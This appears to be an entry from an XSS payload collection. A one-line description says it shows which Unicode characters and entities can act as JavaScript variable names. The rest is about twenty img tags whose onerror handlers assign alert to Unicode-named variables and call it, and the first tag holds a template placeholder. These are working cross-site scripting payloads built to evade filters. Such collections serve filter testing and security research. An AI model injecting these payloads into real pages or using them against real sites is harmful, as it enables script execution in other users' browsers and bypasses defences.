This vector shows which entities are allowed as JS variables.
<img src=data: onerror="$[data1]=log;$[data1]('html($[data1])')"><img src=data: onerror="Х=alert;Х('&KHcy;')"><img src=data: onerror="𝒰=alert;𝒰('&Uscr;')"><img src=data: onerror="𝕪=alert;𝕪('&yopf;')"><img src=data: onerror="ã=alert;ã('&atilde;')"><img src=data: onerror="Ų=alert;Ų('&Uogon;')"><img src=data: onerror="Ň=alert;Ň('&Ncaron;')"><img src=data: onerror="𝕡=alert;𝕡('&popf;')"><img src=data: onerror="ě=alert;ě('&ecaron;')"><img src=data: onerror="Ś=alert;Ś('&Sacute;')"><img src=data: onerror="î=alert;î('&icirc;')"><img src=data: onerror="𝒢=alert;𝒢('&Gscr;')"><img src=data: onerror="ĝ=alert;ĝ('&gcirc;')"><img src=data: onerror="𝔞=alert;𝔞('&afr;')"><img src=data: onerror="𝒷=alert;𝒷('&bscr;')"><img src=data: onerror="𝕝=alert;𝕝('&lopf;')"><img src=data: onerror="𝓁=alert;𝓁('&lscr;')"><img src=data: onerror="д=alert;д('&dcy;')"><img src=data: onerror="Û=alert;Û('&Ucirc;')"><img src=data: onerror="њ=alert;њ('&njcy;')"><img src=data: onerror="𝔭=alert;𝔭('&pfr;')">